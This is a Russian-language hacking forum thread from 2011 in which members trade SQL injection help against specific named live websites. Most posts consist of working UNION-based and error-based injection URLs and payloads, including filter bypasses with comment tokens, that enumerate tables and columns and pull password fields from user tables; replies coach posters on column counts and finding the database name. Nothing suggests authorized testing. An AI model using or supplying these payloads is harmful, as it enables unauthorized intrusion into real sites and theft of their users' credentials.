28.10.2011, 13:08
|
|
Постоянный
Регистрация: 25.04.2011
Сообщений: 505
С нами:
7921046
Репутация:
53
|
|
Сообщение от namez2
Помогите плиз. разобраться с таким выражением, как дальше его раскрутить? (все испробовал дальше не могу продвинуться, как то не стандартно с кавычками...)
-ttp://www.passion.ru/piknik.php/view/(2)union(select(1),version(),3)
Сообщение от None
http://www.passion.ru/piknik.php/view/(2)union(select(1),(select(group_concat(column_nam e))from(information_schema.columns)where(table_sch ema!=0x696e666f726d6174696f6e5f736368656d61)and(ta ble_name=0x7061735f7573657273)),3)
Ток учти, что group_concat возвращает до 1кb инфы.
Сообщение от IMMORTAL_S
Всем привет!
В строку поиска ввожу
qwe' asd
Получаю такое:
В строке поиска текст меняется на
qwe\' asd
Выводится ошибка:
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%') or (UPPER(`anot`) like '%ASD%') and (UPPER(`anot`) like '%QWE'%') or (UPP' at line 1
Query: select * from `news` where ( (UPPER(`head`) like '%ASD%') and (UPPER(`head`) like '%QWE'%') or (UPPER(`anot`) like '%ASD%') and (UPPER(`anot`) like '%QWE'%') or (UPPER(`text`) like '%ASD%') and (UPPER(`text`) like '%QWE'%')) and `hide`=1 order by date desc
Можно как-то раскрутить..? сам пробовал, что-то не получается
Видно же где неправильно ты делаешь то.
1') order by XXX--+
и подбираешь кол-во столбцов, меняешь на юнион и вуаля. Или order by XXX--+ меняешь на error-based sql inj
|
|
|
28.10.2011, 15:05
|
|
Участник форума
Регистрация: 05.09.2010
Сообщений: 147
С нами:
8255126
Репутация:
78
|
|
Сообщение от IMMORTAL_S
Всем привет!
В строку поиска ввожу
qwe' asd
Получаю такое:
В строке поиска текст меняется на
qwe\' asd
Выводится ошибка:
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%') or (UPPER(`anot`) like '%ASD%') and (UPPER(`anot`) like '%QWE'%') or (UPP' at line 1
Query: select * from `news` where ( (UPPER(`head`) like '%ASD%') and (UPPER(`head`) like '%QWE'%') or (UPPER(`anot`) like '%ASD%') and (UPPER(`anot`) like '%QWE'%') or (UPPER(`text`) like '%ASD%') and (UPPER(`text`) like '%QWE'%')) and `hide`=1 order by date desc
Можно как-то раскрутить..? сам пробовал, что-то не получается
Код:
asd qwe'))ORDER/*wtf*/BY(10) --
Код:
asd qwe'))UNION(SELECT(1),(2),(3)from(table)) --
Сообщение от None
Видно же где неправильно ты делаешь то.
1') order by XXX--+
и подбираешь кол-во столбцов, меняешь на юнион и вуаля. Или order by XXX--+ меняешь на error-based sql inj
Очевидно же, что нельзя допускать пробелов, так как идет explode(' ', $some) и после implode.
|
|
|
|
28.10.2011, 23:13
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
С нами:
8334326
Репутация:
75
|
|
Такой вопрос, нашол нужную мне колонку
http://goldsauna.ru/articles.html?id=-7%27+union+select+1,2,column_name,4,5+from+informa tion_schema.columns+where+table_name=0x7573657273+ limit+2,1--+
хочу вывести
http://goldsauna.ru/articles.html?id=-7+union+select+1,2,passwd,4,5+from+users--+
а нифига не выводит, почему?
|
|
|
|
28.10.2011, 23:17
|
|
Новичок
Регистрация: 29.04.2010
Сообщений: 19
С нами:
8440113
Репутация:
3
|
|
Получилось вот так:
Код:
ass'))/**/and/**/1=(select/**/1/**/from(select/**/count(*),concat((select/**/concat_ws(':',user(),version(),database())),floor(Rand(0)*2))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)/**/and/**/(('1%'='1
Всем спасибо! |
|
|
|
28.10.2011, 23:18
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами:
8885780
Репутация:
672
|
|
Сообщение от qaz
Такой вопрос, нашол нужную мне колонку
http://goldsauna.ru/articles.html?id=-7%27+union+select+1,2,column_name,4,5+from+informa tion_schema.columns+where+table_name=0x7573657273+ limit+2,1--+
хочу вывести
http://goldsauna.ru/articles.html?id=-7+union+select+1,2,passwd,4,5+from+users--+
а нифига не выводит, почему?
http://goldsauna.ru/articles.html?id=-7%27+union+select+1,2,passwd,4,5+from+goldsauna.us ers--+
qaz
эти элементарные шаги описаны почти во всех мануалах
|
|
|
|
28.10.2011, 23:39
|
|
Познающий
Регистрация: 27.01.2009
Сообщений: 94
С нами:
9098077
Репутация:
46
|
|
Извиняюсь что занимаю у вас время.Возник вопрос.Собсно сформулировал запрос вида
Код:
http://site.com/menu.php?form_id=-33+union+select+1,2,group_concat(column_name)+FROM+INFORMATION_SCHEMA.columns+where+table_name=char(99,109,115,95,115,121,115,116,101,109,95,117,115,101,114,115)--
В браузере выдает
Код:
id,name,login,password,enabled
Дальше пробую
Код:
http://site.com/menu.php?form_id=-33+union+select+1,2,group_concat(id,0x3a,user,0x3a,pass)+from+cms_system_users--
Но ничего не выводит,собсно как правильно?Спасибо за внимание |
|
|
|
28.10.2011, 23:55
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Сообщение от mandalina
Извиняюсь что занимаю у вас время.Возник вопрос.Собсно сформулировал запрос вида
Код:
http://site.com/menu.php?form_id=-33+union+select+1,2,group_concat(column_name)+FROM+INFORMATION_SCHEMA.columns+where+table_name=char(99,109,115,95,115,121,115,116,101,109,95,117,115,101,114,115)--
В браузере выдает
Код:
id,name,login,password,enabled
Дальше пробую
Код:
http://site.com/menu.php?form_id=-33+union+select+1,2,group_concat(id,0x3a,user,0x3a,pass)+from+cms_system_users--
Но ничего не выводит,собсно как правильно?Спасибо за внимание count(*)
|
|
|
|
28.10.2011, 23:55
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
С нами:
8334326
Репутация:
75
|
|
Сообщение от Konqi
http://goldsauna.ru/articles.html?id=-7%27+union+select+1,2,passwd,4,5+from+goldsauna.us ers--+
qaz
эти элементарные шаги описаны почти во всех мануалах
goldsauna - ето я так понимаю название БД, а как его узнать? каким запросом?
|
|
|
|
29.10.2011, 00:00
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами:
8885780
Репутация:
672
|
|
Сообщение от qaz
goldsauna - ето я так понимаю название БД, а как его узнать? каким запросом?
колонка table_schema
|
|
|
|
29.10.2011, 01:30
|
|
Новичок
Регистрация: 29.04.2010
Сообщений: 19
С нами:
8440113
Репутация:
3
|
|
Сообщение от mandalina
Дальше пробую
Код:
http://site.com/menu.php?form_id=-33+union+select+1,2,group_concat(id,0x3a,user,0x3a,pass)+from+cms_system_users--
Но ничего не выводит,собсно как правильно?Спасибо за внимание попробуй просто concat
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
